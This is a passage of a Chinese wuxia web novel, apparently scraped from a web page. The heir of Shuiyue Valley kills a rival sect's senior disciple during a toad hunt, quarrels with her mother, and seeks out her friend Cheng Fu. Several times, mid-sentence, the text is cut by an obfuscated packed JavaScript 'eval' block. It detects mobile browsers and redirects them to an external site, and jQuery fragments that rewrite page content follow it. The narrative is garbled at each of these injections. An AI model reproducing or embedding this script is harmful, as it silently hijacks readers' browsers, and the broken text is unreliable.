听闻鸣金蟾叫声洪亮,宛若金钟,体内含有一种特殊毒素,虽不致命,却可用作剧毒的原料。 方撷真将《水月秘典》藏得极紧,封皮扯下来烧掉,内页则扯成零碎的一页一页,混着夹在她卧室书架的几十本书中,生怕叫人发现。 “是一种蛙,生活在大殷和北晋交界的沼泽中。”话至此处,武红英的用意很明显了,“我们水月谷制毒会用到。” 方撷真本能地挺了挺后腰:“母亲想让我去找吗?” “你比从前干练不少,有少谷主的样子了,我很放心。” 有付出就应有回报,武红英一向重视适当地给予,才好让人更好地为她所用,再者,方撷真是她亲女儿,她本能地大方:“等你回来,我教你水月谷秘术。” 水月谷秘术! 方撷真几乎凝滞了呼吸,却要强壮镇定:“什、什么秘术啊?” 武红英发觉了女儿的异样,没有多想,只当是一种喜悦找上了方撷真。 水月谷秘术尽数记载在《水月秘典》中,寻常徒子没有资格学习,甚至不能查阅,方撷真也就是沾了武红英的光,才能入谷不到一年便有接触的机会。 “到时候,你就知道了。”武红英道。 “母亲已教过我剑法和机关术,唯独秘术我还一窍不通。”方撷真想多试探一点儿,她将《水月秘典》仔细翻过了,回魂术在最后一页,若是一样一样学,不知要学到何年何月。 武红英笑道:“你以为剑法和机关术,你就学得很好了吗?” 方撷真被呛得说不出话来,武红英对她要求极高,她自己虽也愿意上进,却远远达不到母亲期望的水平。 万幸武红英不是个暴戾的人,不会给她太大压力,只不过偶尔提一提,愿她能做一流高手。 “何时启程?”方撷真深吸气,她必得带回鸣金蟾,尽快学习回魂术。 “三日后,你带十个人。”武红英道,“你自己挑人,看看谁合适,万事都由你做主。实在拿不准了,再来问我。” * 鸣金蟾生活的地方甚是偏僻,在地图上甚至没有标注。 此地不属于任何一国,因为人迹罕至又土壤贫瘠,面积更是微不足道,暂时没有哪国认为有将其划入疆界的意义。 这地方也没有正式的名字,方撷真索性就为其取名鸣金沼泽,叫起来方便。 一行人抵达鸣金沼泽时正是初春,白天暖意昂然,晚上便该添衣裳了。 “少谷主,咱们就硬生生莽进去捉青蛙吗?” 说话的人叫徐剑屏,随行的徒子中,便属她与方撷真最亲厚。 可这亲厚也没亲厚到哪里去,只不过是闲时能开两句玩笑的上下级罢了。 方撷真要维护自己身为少谷主的威严,常常板着个脸,徐剑屏也懂眼色,见好就收。 “你傻吗?”方撷真几乎无言以对,“鸣金蟾喜欢吃什么?” 徐剑屏恍然大悟:“我们这就去准备布置!” “白天的时候,青蛙通常不出来活动。等天黑吧。” 方撷真虽是在城里长大的,却也没少到乡野间玩耍,她拉住徐剑屏:“大家都累了,先找个地方好好休息。不出半个时辰就是黄昏,咱们争取明日就返程。” 生火的生火,搭帐篷的搭帐篷,众人都是轻装简行,带的干粮不多。 有方撷真在,徒子们便不敢大声说笑,可这份敬畏到了方撷真眼里,就成了诸人不愿意主动和她玩。 她也不恼,毕竟如今身为少谷主,将来继任谷主,都需要威严,别人怕她,是应该的。 正式成为水月谷少谷主后,便是这个样。她憋得厉害,偶尔听见徒子们窃窃私语,说谁家肉丝面好吃,谁家新出了衣料子,她都想插一嘴,说是呀是呀,确实很好吃。 毕竟年岁不大,天性也活泼,忍着话不说总是难受,到了后来,方撷真便适应了,习惯了,有什么话,自己在心里说。 黄昏渐近,沼泽里冒着一块块小水潭,远远望去犹如一片片耀目的镜子。 方撷真估摸着时间差不多了,遂下令道:“都去准备。” 捕蛙无非是用食物和光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你未免太狮子大开口了!是我们先来的!”当即就有伏光门徒子不服气,若非魏澄拦着,她恨不得冲到方撷真跟前来。 魏澄的态度依然还算客气:“武少谷主,不如我们各凭本事。” 既说各凭本事,那就是各自布置捕蛙陷阱了。 再僵持下去,两方怕是要动手了,方撷真怕出师不利,毁了她的脸面和形象,遂决定暂退一步,弄一出螳螂捕蝉黄雀在后也不差:“那就各凭本事吧。” “好,各凭本事。”魏澄作一记抱拳礼,便领着同门们到一旁休息。 鸣金沼泽较为辽阔,附近能过夜的地方却很小,首先要有水,有平地,地势还不能太陡,因此两派休息的地方也就隔了几十米,谁说话,另一派都能听见。 “师兄,这水月谷的少谷主,也太不通人情了……” 伏光门的窃窃私语声随风传来。 方撷真倒不介意别人说她不通人情,难道武红英就是个通人情的人吗?难道水月谷没有在武红英的带领下立足于世吗? 水月谷不仅立足了,口碑还相当不错呢。 “她是外头长大的野丫头,从小没娘没爹的,去年才被武谷主认回来。” “这么可怜?” “不仅可怜,也可恶。真不知是什么人教出她,定是个缺德之人,歹竹出歹笋!” 这人话音才落,便有一支箭破空而来,要夺人性命似的可怖,只听嗖的一声,鲜血喷涌——魏澄瞪大双目,直挺挺往后倒去。 方撷真仍是双手持弩的姿势,胸口一起一伏,眼眶发红。 水月谷和伏光门两派徒子却方寸大乱,纷纷向中箭的魏澄拥去。 ——魏澄替别人挡了箭。 他什么遗言都没留下,胸口边开着鲜艳的血花,边失去生命,当场暴毙。 14.翠微(3) 方撷真耳边有什么东西炸开了,是哭嚎、是咒骂,以及嗡嗡唧唧的长音——她顶着痛苦的耳鸣声,眼睁睁望着惊恐的同门们奔向魏澄。 却不想有个人高马大的伏光门徒子推开徐剑屏,凶神恶煞道:“快滚!不要你们来惺惺作态!” 徐剑屏窘迫惊慌地顿住身形,回头看了一眼岿然不动的方撷真。 脸色煞白的方撷真咬紧满口银牙,颤声下令道:“水月谷的人都走远,不要耽误她们治伤。” 她站到十步开外,心不在焉地盯着伏光门徒子焦头烂额地为魏澄医治,心急如焚。 越是治,关于魏澄的死亡就判定得越深。 那支由方撷真射出的、淬了毒的弩箭正中魏澄心脏,刺啦,心脏碎裂开的时候,他的性命也没有了。 鸣金沼泽附近,渐渐响起此起彼伏的哭声。 武红英教过方撷真一些浅薄的医术,所以方撷真明白,人垂了手、涣散了瞳孔,连呼吸也不再有,多半就是死了。 魏澄死了。 死得格外格外痛快。 “我们与水月谷无冤无仇,你——!” “你杀了我师兄,你还我师兄命来!” 方撷真几乎要站不稳,弓弩还在她掌心里温热着,魏澄的命却没有了。 她不相信,不相信! “你们是学医的,应该想法子救他!”方撷真推开拦着自己的伏光门徒子,大步上前,“魏澄,醒醒!” 抱着魏澄的是个年轻人,十几岁出头,平日里最受师兄照拂,此刻泣不成声道:“已经没救了!你那弩箭上有毒,救不了的!师兄他已经……不在了!” 耳朵里的嗡鸣声愈发猖狂,方撷真头晕目眩时,身后的徐剑屏一个箭步上前扶住她,低声提醒:“少谷主,您快想想办法啊!” 能有什么办法?人都死了! 方撷真能有什么办法! 难不成要她下十八层地狱抢回魏澄的魂吗! “我们走……我们走!” 水月谷的人皆怔住了。 她们敬畏的少谷主,第一个回头,慌慌张张地逃走,头都不回。 几人自然是失望。 这几个都还年轻,最大的还不到而立之年,手上几乎都是干干净净的,没有闹过人命。虽有为民除害打过山贼的,却也仅是将山贼扭送官府,没有亲手杀死。 今日亲眼见到方撷真误杀了魏澄,他们怎能不害怕?害怕之余,他们还很期待少谷主的态度。 ——要么是一条道走到黑,杀了人也不后悔;要么是承认自己误杀魏澄,堂堂正正地道歉,将责任担起来——偏偏方撷真跑了,急急忙忙地跑了。 “少谷主!” 徐剑屏大失所望,冲方撷真背影嘶声喊道:“你把魏澄给杀了啊!少谷主!” 伏光门的徒子们,亦是茫然万分,然而旋即就有人运作轻功,将杀了她的师兄的仇人拦下,怒不可遏:“你杀了人还想走吗?水月谷杀我师兄,该给个说法!” 方撷真抬头,一双双情绪各异的眼争先恐后地要吞噬她。她浑身都冷,忽想起方虹临死前的眼神来——和魏澄濒死的眼神一样吗? 都害怕吗?都绝望吗? 死在留仙原上的那个男人呢?他死的时候,又是什么眼神? 呱呱—— 鸣金蟾叫了。 方撷真眼前一黑,便什么都不知道了。 * 醒来的时候,已是在一家客栈中。 瞧天色,当是夜半时分,黑咕隆咚的夜笼罩在方撷真身上,逼得她久久未作言语。 直到看见烛光下徐剑屏的脸,她才知今夕何夕:“魏澄救回来了吗?” 徐剑屏与方撷真同住一间客房,她也沉默不语很久了:“……当场就死了。” 方撷真一怔,指尖嵌进掌心,犹疑不决地像要说什么,未料问的却是:“那鸣金蟾?” “各凭本事,他们抓他们的,我的抓我们的。我们抓了十几只,够用了。”徐剑屏没见过什么市面,她也是惊惧忧虑的,却能掏出镇定与方撷真明辨是非,她深吸一口气,道“少谷主,你今日太冲动了。” 方撷真垂首,轻嗤道:“不必你来说。” 徐剑屏愈发失望,很想斥责少谷主几句,但从今日方撷真的作风来看,说不准言多必失,她自己吃力不讨好。 左右轮不到她来和方撷真算账,只求伏光门找上门时,不要殃及池鱼。 * 十几日后,方撷真一行人回到水月谷。 鸣金沼泽发生的事,早被徐剑屏飞鸽传书向武红英说明了,方撷真却不知晓,只以为母亲还蒙在鼓中。 像每次面见武红英那样,方撷真正了衣冠仪容,足履生风,推门而入。 仍是熟悉的茶室,紫檀木镂刻出大花窗,香炉摆设一般,图个好看,实则什么香料都不盛,甚至不如热茶更沁人心脾。 “母亲……” 武红英半侧身子而坐,应是早知女儿今日抵达,已着人备好了方撷真爱吃的茶点。 她没有笑,神情也不温柔和缓,令人脊背生凉。 就挂着漠然的神色,武红英挥手,唤方撷真坐到自己身边的小榻上,扬手轻抚女儿额头,算是安慰:“一路奔波,累吗?” 额头好暖,方撷真想起方虹的手,两位母亲的手是一样的暖,一样的粗糙,连茧的位置都相差无几。 她在外玩累了,方虹也会这么抚摸她的脑袋,问她可是累了,可要吃些东西。 才闭眼,泪水便夺眶而出,仿佛此刻关怀她的人真是方虹,方虹没有死,方虹死而复生了,方虹还在她面前…… “是你第一次杀人吗?” 方撷真霎时愣住。 她懵懵睁开眸,犹如置身风雪,本能地想要逃,武红英都知道了……武红英都知道了! 她的泪忍不住了,决堤似的从眼眶漏出,喉咙却关得很好,不见哭声:“是。” “被追杀的时候,也没有杀过?”武红英只见女儿哭过三次,出生时、方虹死时、今日今时。 方撷真竟瞬间泪光盈盈,她的手绝不算干净,那个逃到留仙原、掉进坑中的水月谷徒子,那个一头撞上来的方虹,皆是因她而死。 当初,血刃峰与她做交易,要求她杀十个人,她不肯,才将大坑挖得那么偏,树叶树枝盖得那么厚,坑底的长|枪也不长,谁知真就能害死人? 当初,方虹陪着她练剑,她迫不及待展示所学,谁想方虹就撞了上来。 那两次,她都没有杀心。 唯有误杀魏澄的这一次,是真的想要一个人死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185541|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“刺客都是我娘杀的。我娘不叫我杀人。” 武红英一顿。 意识到自己说错了话、喊错了人的方撷真,慌忙掀起眼睑:“母亲……” 武红英居然不恼,又一次摸了摸方撷真额头:“你活在世上,免不了要杀人。” 方撷真全然不理解,也不认同,她从来没有学到“活着就避免不了杀人”的道理: “可是不杀人也能活。杀人是错的。若我杀的是个恶霸,我就是为民除害,魏澄是恶霸吗?……不是。” 她的语气平静稳重,因为不解与疑惑占去了九成情绪,余下的逼仄空间才轮到害怕和惊惧。 女儿已经二十来岁,不是年轻的少年了,她长得太慢,慢到令武红英失望恼火,不过,武红英仍然绷着脸,未让心里的不满涌出: “你放箭之前,应当想到他是好人,那么你便该及时收手。可惜开弓没有回头箭,拦在前面的就杀掉,这也不算错。方虹没教你的,我来教你。” 什么是方虹没有教过的? 方撷真苦笑着回想,任何符合世俗的观念的东西,譬如善良仁慈、勇敢正直,再譬如除非是为自保,不要伤人,这些话方虹统统掰开了揉碎了讲给她听。 武红英不一样,她教给方撷真的是另一套生存法则,教她要有上位者的做派,要狠心果决,要果断地扫平眼前障碍,伤了人也不要紧。 两套冲突颇深的观念在方撷真脑海里交战已有,人生前十六年,她都认同养母,却从十六岁开始,晓得了生母的话也有道理。 到底谁是对的? 到底该遵循哪一套? “方虹就是不会教养孩子,你看看她把你养成了什么样。再大的事,天又塌不下来……” 心事重重的方撷真本就喘不过气,听见武红英对方虹的贬低,更是难受,方虹就是更好啊!就是更温柔仁慈啊! 从她混沌的脑子里,慢慢涌现出一句话,喉咙未能把好关,让这句话冷笑着被道出,且入了武红英的耳: “……还好把我养大的人不是你。” “什么?”武红英呼吸一滞。 “还好把我养大的不是你!” 方撷真几乎是从生母身边弹开,她暴怒又悲愤:“没有母亲会教孩子杀人!我娘教我武功,教的都是防身术,没有杀人术!你凭什么贬低我娘!” “你怎敢这么同我说话!身在江湖,装什么纯善!你还以为你是当初的方撷真不成!” 武红英面容扭曲,恨不得狠狠打方撷真一掌:“你就这么惦记一个偷孩子的贼!方虹是贼,死有余辜,我恨不得将她千刀万剐碎尸万段!” “她已经死了,她已经死了!”方撷真凄厉地嘶吼,调不成调,非要全神贯注才能辩清她喊出的每一个字,“你大可满意了吧!” 语罢,方撷真推开武红英落下的手,夺门而出。 门撞在墙上的动静好响,武红英呆愣愣盯着自己指尖,心如刀绞,她只是想摸摸女儿,又不是要扇一耳光,那孩子推开她的手做什么呢? 在外头杀了人,她去解决,伏光门上门谈说法,她也准备好了说辞和做给外人看的惩罚,那孩子推开她,到底是要做什么呢? 武红英跌坐回榻上,好几次都想端茶饮一口,手指却抖得厉害,总是贴着茶杯边缘掠过。 15.翠微(4) 澄意山庄。 今年初夏的云州格外多雨,青石板都要被积水浸透了似的,对着光望去,茫茫一片青白。 山庄里挖有大湖,引的是云山河流中的活水,甚是清澈纯粹,泛着稚嫩的绿波。 偶尔,白霓裳无心操持座下的几个徒儿了,便会叫程芙替她管一管幼徒,师姐带一带小师妹,又能怎么样呢? 湖心亭再细雨蒙蒙,小师妹每练完一套动作,便要跑出去玩上一会儿,好在她很守约,不会一去不回,又很自觉,从不一个人到危险的水边去。听闻庄主凶巴巴的,哪个孩子擅自到水边玩,那可不得了。 未过多时,小师妹去而复返。 “玩够了?”在这湖心亭里,程芙什么都没做,仅是眺望远处涟漪荡漾的湖面。 “玩够了!”小师妹笑呵呵的,凑到程芙耳边,“我听了个故事,讲给你听!” 程芙洗耳恭听。 小师妹故弄玄虚,非要程芙凑到她嘴边来,细细听她讲:“我听说有个什么公主,把伏光门的大师兄杀啦!” 程芙一惊,伏光门大师兄她是见过的,可是怎会传出魏澄死去的话来? 她问道:“什么‘公主’?” 小师妹愣了愣,显然没有记住,遂又撑着伞跑远,不久之后,再蹬蹬蹬跑回来:“我问到了!是水月谷的少谷主——不是公主,把伏光门大师兄杀了!” 宛若天方夜谭,但又不是全无可能的话在程芙耳畔炸开,她倏然仰起头,错愕道:“听谁说的?” 小师妹脆生生道:“乔师兄,大的那个。” “你乔师兄成日里没几句靠谱话。你来吃点心。当心,不要拿掉了。”云淡风轻的程芙望远处瞥了眼,好像湖面深处就有答案。 她的手竟也往湖面靠近,越来越远、越来越低——啪,一盒才启封的芙蓉酥落地,摔得粉碎,不能吃了。 “师姐还真是乌鸦嘴……”小师妹颤颤巍巍弯下腰,早听说程师姐嘴巴灵,说什么应什么,今日一见,果真半分不假。 小孩子嘛,再大的惊讶也抵不过伤心,她是家里最小的孩子,也是白霓裳膝下最小的徒儿,受到的爱护太多太多,年纪也小,以至于不能承受芙蓉酥化作碎粉的痛苦,头一仰,放声大哭起来。 万幸仅是斜风细雨,程芙没有花言巧语哄孩子的本事,只能拿出行动来:“我领你进城再买一份,千万别哭。” 小师妹眨巴眨巴眼,真就不哭了。 程师姐嘴巴灵,但也不骗人,值得相信。 师姐妹略收拾了地上的芙蓉酥,便同撑一把伞,进了云州城。 * 澄意山庄的名气传遍江湖,遑论是云州,城里认识程芙的人不少,驿站信使便是其中之一。 “程姑娘,刚好有你的信!有好几封,都是这几日陆续到的。” 程芙便松开师妹的手去接信,她还以为是海云关的阿婆阿公来信了,可信封上却写着“方撷真”三字。 方撷真……这个节骨眼上来了信?程芙乌眸稍眯,从小师妹口中吐出来的“故事”,她还来不及求证,方撷真竟就来了信。 这令原本不急的她也急了,匆匆迎着雨拆开信件。 第一封信言辞激动。 「程姐姐,见字如晤。不知你可否听闻近日之事?分明是伏光门逼我在先!他们口出狂言,诋毁我娘。你见过我娘,当知晓她温柔可亲、护我极深,我万万不能容忍旁人的污蔑!可我杀人了,我从未杀过人,我成了和武绿华之流一样的人!」 第二封信短短几个字,令人毛骨悚然。 「我恨我自己!我恨我自己!」 程芙的心隆隆跳了几声,可是到了第三封,她竟几乎读不下去了。 因为三封信接连读下来,所体会到的情绪、措辞风格都变化得太快,好像一个活生生的人,就这么在她眼前疯了。 「程姐姐,你杀过人吗?是好人,还是坏人?」 好平静的话语,与前头两幅大相径庭。 程芙喉间轻滚,问道:“这几封信,都是什么时候寄出的?” 信使答:“这,我们也不好说,只知都是昨今两日到的。路途上因为什么事耽搁了,导致间隔数日寄出的信在同一日收到,也是有的。” 程芙道了谢,牵起师妹往糕点铺子走。 “师姐,是谁寄的信?”小师妹总是好奇。 “你不认识。”程芙收好信,将小师妹往道路内侧牵了牵,“你走里面,师姐在外面。” 自从将方撷真寄来的陨铁封存好,程芙便以为两人不会再有交集。那时她打定了主意,总之她不会主动找方撷真,以后若方撷真再向她伸出手,她皆沉默。 人情人心就是这样,你不给回应,便淡了、远了。 忽的,后背似乎黏上了什么东西,极热烈,又极刻薄冰冷。 程芙的直觉一向很准。 徐徐回眸,她真瞧见个撑着黑伞的人站在身后不远处,眼眶微红。 她仿佛并不惊讶,仿佛早有预料,因为神情过于平静镇定了,又仿佛大吃了一惊,因为手是骗不了人的。 程芙的手,在抖动。 “……方撷真,是你啊。” 伞檐遮着一双平静乌黑的眼,平静到程芙怀疑自己花了眼。 一个正处江湖风波的人,一个不远千里从水月谷跑到云州的人,应当是冲动的疲累的,绝不会是这般平静的。 “阿芙。” 方撷真稍稍斜了斜雨伞,面庞迎上清凉的雨丝。 “我欠了师妹的点心,要买一份赔给她。”程芙如同在和一个从未分开过的人说话,语调温和平缓,没有起伏,即使方才她还在盘算与方撷真断交。 不远处就是糕点铺子,方撷真便是从那方向过来:“我也能去吗?” 隔着雨幕,程芙轻轻一点头。 因为是雨天,糕点铺子的客人不多。小师妹嗜甜,又被双亲看得娇贵,缺乏对金钱的概念,是以一选起糕点便没完,全然不管程芙带了多少银子。 “小蘋,太多了。”程芙微微弯腰,和小师妹打商量,“放几样回去吧。” 小师妹犹豫了会儿,不大情愿:“可是我想吃。” 程芙很是有耐心:“牙会吃坏的,回头你娘可要打你屁股了。” 铺子里师姐妹的谈话声,也传到了铺子外。 方撷真没有进去,而是在屋檐下躲雨。原来云州是这般景色啊,分明与骆都仅一日路程,却更为繁华,不过若比水秀山青,还是骆都更好。 那对师姐妹还在争,却是软绵地争,程芙的嗓音像浸了温水的棉花,重,却很软,很暖。 方撷真不得不向铺子里睨去一眼,以确定那个弯着腰和女童说话的人,真是她的朋友。 怎么会? 程芙也有这等温柔的一面吗? 方撷真收回视线,心头淤堵不通。 她是朋友,小师妹是小师妹,区别大吗? 不大吧。 不都是亲朋吗?程芙为何不用这样的温柔来待她呢? 尽管程芙待她素来温和,即使当初在留仙原抛下她,也未怒发冲冠、冷嘲热讽,可是方撷真…… 片刻后,程芙提着几样糕点从里头出来,方撷真以为她这就要走,却不想她竟扬了扬手里的一包桃酥,温声道: “这是你的。” 牛皮纸外渗了点儿油渍,方撷真只需轻轻一嗅,便能嗅到桃酥的香甜气味,分明味道和东西都在眼前,她却不敢信: “我也有吗?” “拿着吧。”程芙将桃酥递给她。 方撷真又以为这就算完,却不想程芙居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185542|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然又塞了一包荷花糕、一包豌豆黄给她,且说道:“这下是真没有了。” 三包沉甸甸的糕点,甜得鼻腔里尽是味道,方撷真吸吸鼻尖,忽地又想哭了:“阿芙,我们找个地方说话。” 贯穿云州城的河水唤作弄溪,这名字起得怪,人人都问“弄”是什么意思,又问这河分明能行船,为何又要叫“溪”。 总之百十来年了,弄溪的名字一直传下来,竟没有谁想改一改。 程芙租了一条小船,与方撷真、小师妹同乘。 她们没有请船夫,反正牛毛细雨而已,自己就能划船。 小师妹进了船舱最里头,程芙和方撷真则留在甲板上,由程芙划船。 “你认识魏澄吗?”这问题憋得太久,一有机会,方撷真就忍不住要问。 “认识。”程芙答道。 “他为人如何?” “彬彬有礼,医术出众。” 彬彬有礼,医术出众,方撷真听到都关于魏澄的评价大都逃不过这八个字。 她缩紧身体,犹如在初夏时分被冬风吹了一遭,颤声说道:“他被我误杀了。” 程芙垂眸观察方撷真,这才像一个人害怕的样子,身体颤抖,眼神空洞,眼眶里汲满了泪。 她不知说什么好,“没关系”是说不成的,因为魏澄是冤死的;“都怪你”也不能说,她和魏澄没有交情,却和方撷真做过朋友。 “程姐姐,你杀过人吗?” 方撷真擦去自己的眼泪,眼尾却顷刻间又湿了,兴许是眼泪究竟没有彻底止住,兴许是雨落了下来。 程芙当然杀过人。 她算了算,当年撞死在蜉蝣剑上的刺客是自杀,不能算她的血债。那么她杀的第一个人,就是在故乡海云关作孽的马贼,死有余辜,死不足惜。 纵然程芙晓得“死有余辜”的道理,杀完人却还是后怕,原来强壮高大的马贼只要一剑就是毙命,原来人命这样脆弱。 之后她将杀了五六个马贼的事说给裴雁晚听,裴雁晚却没有半分困惑或是叹息,只说她杀得好,杀得妙,说有些人就是该死。 雨渐渐大了,珠玉似的坠落。 程芙终于可以回答方撷真的问题:“杀过。” “都是恶人?” “都是恶人。” 方撷真忽然畏惧程芙的眼神里,即使那双乌眸里什么情绪都没有,有的仅是碧水青天、细雨蒙蒙。 她问:“阿芙,那我是恶人吗?” 程芙一时答不清,倘若换了思维更敏捷的人来,定有答案了,她却仅沉默着划桨。 半晌,她给出了更合心意的答案:“你不是。你杀了魏澄会后悔恐惧,而恶人不会认为自己有错。” “可是我原本就想杀人,杀了那个诋毁我娘的人!” 方撷真陡然激动起来,又瞬间落了情绪:“即使死的不是无辜的魏澄,也是别人……是一个惹怒了我,但罪不至死的人。” “阿芙,你告诉我,我是不是做错了?你不必骗我瞒我,你告诉我人为什么要杀人,该不该杀人——会不会魏澄本就该死,也许他是道貌岸然伪君子,也许他也看不起我娘!” 方撷真在给自己找一个心安理得的借口,找魏澄必死的理由。 小舟行过一处拱桥,方撷真从桥身投射下的阴影里掀眸,见程芙立在船头的一汪光亮里,发丝随风轻摆。 她默了默,坚持追问:“阿芙,你不必有顾虑。只管告诉我你的答案。” 程芙踌躇半晌:“你不应当出现在云州的。你应该认错。” 当一直以来不断怀疑,却不敢肯定的答案,从另一个人口中以平静笃定的口吻道出,方撷真再也忍不住了。 她不顾弄溪两岸时不时经过的行人,也不顾船舱里吃着点心的小丫头,捂住脸,放声大哭。 16.双簪(1) 方撷真哭了很久。 手足无措的程芙数次将手掌落到她脊背上,欲抚平她的伤怀,然而直冲心底的痛,怎有那么轻易消弭。 只有哭,只有哭够了、哭累了,哭得想通了,眼泪才能止住。 又过许久,程芙终于思索好安慰人的措辞,遂扣着方撷真肩头,温声道:“已经发生了的事,改变不了了,你不如放过自己。” 方撷真却摇头,依然是哭。 放过自己?这话说得好轻巧啊,第一个死在她剑下的人是方虹啊,是养育她二十年的母亲啊!她从那时起就不可能放过自己了啊! 若算得再细些,方虹是主动求死,不能算“杀”,魏澄却千真万确死在杀意下! 弄溪上的雨越来越大,敲得小船甲板噼里啪啦,小师妹已在船舱里睡熟,永远不会晓得有人在外头放声大哭了。 会不会哭一场就好了?程芙不是爱哭的人,她对悲哀这一情绪的感知很浅很浅,实在没有经验:“方撷真……你不要哭了。” 河风吹得头发散落,糊了满脸,方撷真慢慢推开她的手,摇了摇头,大抵是示意她不必管自己,又指了指船舱,含糊不清道:“雨下大了,你进去躲雨吧。” 程芙怎会真留她一人在外:“我们一起。” 雨声渐渐掩去交谈声,也许根本没有掩住什么,而是甲板上根本没有人说话了。 程芙挺起腰,想回岸上借一柄伞来,又或强行将方撷真薅进船舱里去。 她正思索着,却见方撷真乱摸了两把脸上的雨水,迎着船头站起身来,身姿挺拔。 “不哭了吗?” “要哭的。但不是现在。” 方撷真依然说不清楚话,嘟嘟囔囔,七成声量都含在喉咙里。她说得不对,眼泪分明没有停,嘴硬而已。 见程芙衣上斑驳的雨点痕迹,她不由愧疚,忙拉着程芙躲进船舱,微声道:“害你为我操心了。” “不碍事。”程芙并不责怪她,只关心她的情绪,“你还好吗?” 她可不懂开导人,万事只能靠方撷真自己了。 船舱不大,刚好只够挤下三四人,又因在濛濛雨天,昏暗得很。 方撷真喉咙有些哑,低着头,谁都不看:“换作是你,你当如何?” 仿佛程芙是能与她感同身受的人,她问了话,耐心等待答案。 程芙默默移开目光,陷入沉思,世上当然不可能有完全感同身受的两个人,身世、阅历、立场的不同,铸就感受的不同。 她说道:“我会回去。我会承担。” 方撷真突然笑了声:“不逃?” 面颊骤然被刺痛灼烧,这家伙,哭的时候还不忘损人两句。 最善于逃跑,也最常常逃避的程芙僵了僵脸色,徐徐吐出一句话来:“对得起良心的话,就逃吧。” 方撷真为友人的话一怔。 她本想笑程芙的良心真够硬,当初说走就走,却很快明白这根本是两回事,程芙走不走,无关良心,她杀了魏澄,才是真真切切地和良心有关的事。 她还听出程芙对自己的不认可,而她则很认同这份不认可。 “我可以去澄意山庄找你吗?” “你和武红英长得太像太像。而且,你应当回去。” “我偷摸摸翻墙。”方撷真好似未听到程芙的后半句话。 “……山庄值守巡查的徒子们,都不好惹。”这是真话,程芙没骗人。 失望逐渐滋长,方撷真道:“你就是不想让我找你,我说一句你堵一句。” 程芙察觉出友人隐约的怒意,竟不否认,她的确不想让方撷真来找她:“别生气。外面雨停了,我该带师妹回去了。糕点尽快吃,放久了便不好吃了。” 她迅速叫醒睡得迷迷糊糊的小师妹,因为小师妹一旦睡醒,就会嚷着找师娘,到时她就有了必须回山庄的理由,不必再和方撷真…… 她想逃了。 河浪一激,船身随之一晃,望着方撷真泛红的眼,程芙忽然顿了顿,只将小师妹搂进怀中,轻声哄了哄:“吵醒你了。” 小师妹困劲儿正浓,却不介意被吵醒,趴在程芙怀里继续睡。 方撷真为程芙温柔的动作恍惚,但也看不懂对方的行为,闷声问道:“你不是要走吗,怎么又让孩子睡?” “再坐一会儿也不要紧。”程芙放不下心,唯恐方撷真在这茫茫弄溪上想不开,一头扎进河里。 一想到程芙在扈县时走得有多决绝,方撷真便禁不住勾了下唇:“没关系,你不用担心我。我自己找个客栈住就是了,跑不丢的。河面上风景好,我再坐一坐。” “大姐姐,你回家晚了,你娘会打你屁股的。” 从程芙怀里,小师妹徐徐抬头,她睡不着了,乌溜溜的眼睛澄澈明亮,像才从河水里捞起。 方撷真抿唇:“胡说,我娘从不打我。” “啊,我娘就打我屁股!”小师妹很不服气,她以为天底下的孩子都会被母亲打屁股,“大姐姐,你娘对你可真好呀。” 方撷真将唇抿得更深,水月谷是她的家吗? 她说不清楚,只知道那里真有她的亲娘,也知道亲娘不会因为回家晚了便打她。 和武红英吵架那日,她将武红英气得浑身发抖,也没有挨过一指头。 “我娘对我确实很好……”方撷真轻声呢喃,脑海里是两位母亲的面容慢慢重叠。 小师妹又道:“大姐姐不高兴,应该回家找娘。做娘的都会哄孩子。” “可是你娘打你。”方撷真反驳。 “又不疼。”小师妹跳出程芙的怀抱,将所有属于她的点心都揽到一处,“师姐,我想找师娘去了!” 小师妹的娘和师娘皆十分心疼她,找谁都一样,小孩子嘛,谁对她好,她就跟谁亲。 程芙恍若未闻,目光尽落在方撷真漠然的脸上。 她蹙了蹙眉,尝试揣摩方撷真心中所想——方撷真与其说是淡漠无谓,倒不如说是怔忡发愣。 程芙便拍了拍小师妹的肩,温声道:“小蘋,你的话太多……” “武红英确实会哄我。” 却不料方撷真讲了这么一句话,令程芙匆匆抬头。 方撷真若有所思:“阿芙,今日我们便聊到这里。” “你要走?” “不走。我在云州住几日。” * 次日夜晚是个极好的晴夜,方撷真摸到澄意山庄外围,费了好一番劲儿才寻到徒子居。她不确定程芙住在何处,万一程芙凭着剑庐主管的身份,不与旁的徒子同居,而是有单独的院落呢? 她不敢光明正大去问,怕自己在江湖里的坏名声拖累程芙。 由此一来,方撷真便犹如做贼,一路躲躲藏藏,只求老天有眼,叫她寻到点儿程芙的蛛丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 